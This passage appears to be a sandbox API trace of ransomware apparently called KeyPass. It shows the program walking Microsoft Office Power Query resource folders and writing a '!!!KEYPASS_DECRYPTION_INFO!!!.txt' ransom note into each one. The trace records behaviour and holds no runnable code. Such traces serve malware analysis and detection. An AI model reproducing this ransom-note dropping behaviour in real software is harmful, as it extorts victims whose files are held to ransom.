Integrated\\bin\\sv\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.464] FindNextFileW (in: hFindFile=0x38ffb70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.464] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.464] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.464] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.464] GetLastError () returned 0x3f0 [0249.464] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.464] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sw\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x770 [0249.533] GetFileType (hFile=0x770) returned 0x1 [0249.533] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.533] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.533] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.533] WriteFile (in: hFile=0x770, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.534] WriteFile (in: hFile=0x770, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.534] CloseHandle (hObject=0x770) returned 1 [0249.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffbf0 [0249.535] FindNextFileW (in: hFindFile=0x38ffbf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.535] FindNextFileW (in: hFindFile=0x38ffbf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.535] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.535] FindNextFileW (in: hFindFile=0x38ffbf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.535] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.535] FindNextFileW (in: hFindFile=0x38ffbf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.535] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.535] FindNextFileW (in: hFindFile=0x38ffbf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.535] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.535] FindNextFileW (in: hFindFile=0x38ffbf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.535] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.535] FindNextFileW (in: hFindFile=0x38ffbf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.535] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.535] FindNextFileW (in: hFindFile=0x38ffbf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.535] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.535] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\System.Spatial.NetFX35.dll") returned=".dll" [0249.535] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.535] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\System.Web.Mvc.dll") returned=".dll" [0249.535] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.535] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.535] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.535] GetLastError () returned 0x3f0 [0249.535] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.535] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ta\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768 [0249.574] GetFileType (hFile=0x768) returned 0x1 [0249.574] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.574] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.575] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.575] WriteFile (in: hFile=0x768, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.576] WriteFile (in: hFile=0x768, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.576] CloseHandle (hObject=0x768) returned 1 [0249.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffeb0 [0249.576] FindNextFileW (in: hFindFile=0x38ffeb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.576] FindNextFileW (in: hFindFile=0x38ffeb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.576] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.576] FindNextFileW (in: hFindFile=0x38ffeb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.577] FindNextFileW (in: hFindFile=0x38ffeb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.577] FindNextFileW (in: hFindFile=0x38ffeb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.577] FindNextFileW (in: hFindFile=0x38ffeb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.577] FindNextFileW (in: hFindFile=0x38ffeb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.577] FindNextFileW (in: hFindFile=0x38ffeb0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.577] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.577] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.577] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.577] GetLastError () returned 0x3f0 [0249.577] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.577] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\te\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x774 [0249.581] GetFileType (hFile=0x774) returned 0x1 [0249.581] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.581] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.581] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.581] WriteFile (in: hFile=0x774, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.582] WriteFile (in: hFile=0x774, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.582] CloseHandle (hObject=0x774) returned 1 [0249.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffd70 [0249.583] FindNextFileW (in: hFindFile=0x38ffd70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.583] FindNextFileW (in: hFindFile=0x38ffd70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.583] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.583] FindNextFileW (in: hFindFile=0x38ffd70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.583] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.583] FindNextFileW (in: hFindFile=0x38ffd70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.583] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.583] FindNextFileW (in: hFindFile=0x38ffd70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.583] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.583] FindNextFileW (in: hFindFile=0x38ffd70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.583] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.584] FindNextFileW (in: hFindFile=0x38ffd70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.584] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.584] FindNextFileW (in: hFindFile=0x38ffd70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.584] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.584] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.584] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.584] GetLastError () returned 0x3f0 [0249.584] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.584] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\th\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778 [0249.600] GetFileType (hFile=0x778) returned 0x1 [0249.600] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.600] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.600] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.601] WriteFile (in: hFile=0x778, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.602] WriteFile (in: hFile=0x778, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.602] CloseHandle (hObject=0x778) returned 1 [0249.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ff970 [0249.602] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.602] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.602] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.602] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.602] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.602] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.603] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.603] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.603] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.603] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.603] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.603] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.603] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.603] FindNextFileW (in: hFindFile=0x38ff970, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.603] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.603] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.603] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.603] GetLastError () returned 0x3f0 [0249.603] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.603] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\tk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c [0249.640] GetFileType (hFile=0x77c) returned 0x1 [0249.641] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.641] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.641] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.641] WriteFile (in: hFile=0x77c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.642] WriteFile (in: hFile=0x77c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.642] CloseHandle (hObject=0x77c) returned 1 [0249.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ff9b0 [0249.642] FindNextFileW (in: hFindFile=0x38ff9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.642] FindNextFileW (in: hFindFile=0x38ff9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.642] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.643] FindNextFileW (in: hFindFile=0x38ff9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.643] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.643] FindNextFileW (in: hFindFile=0x38ff9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 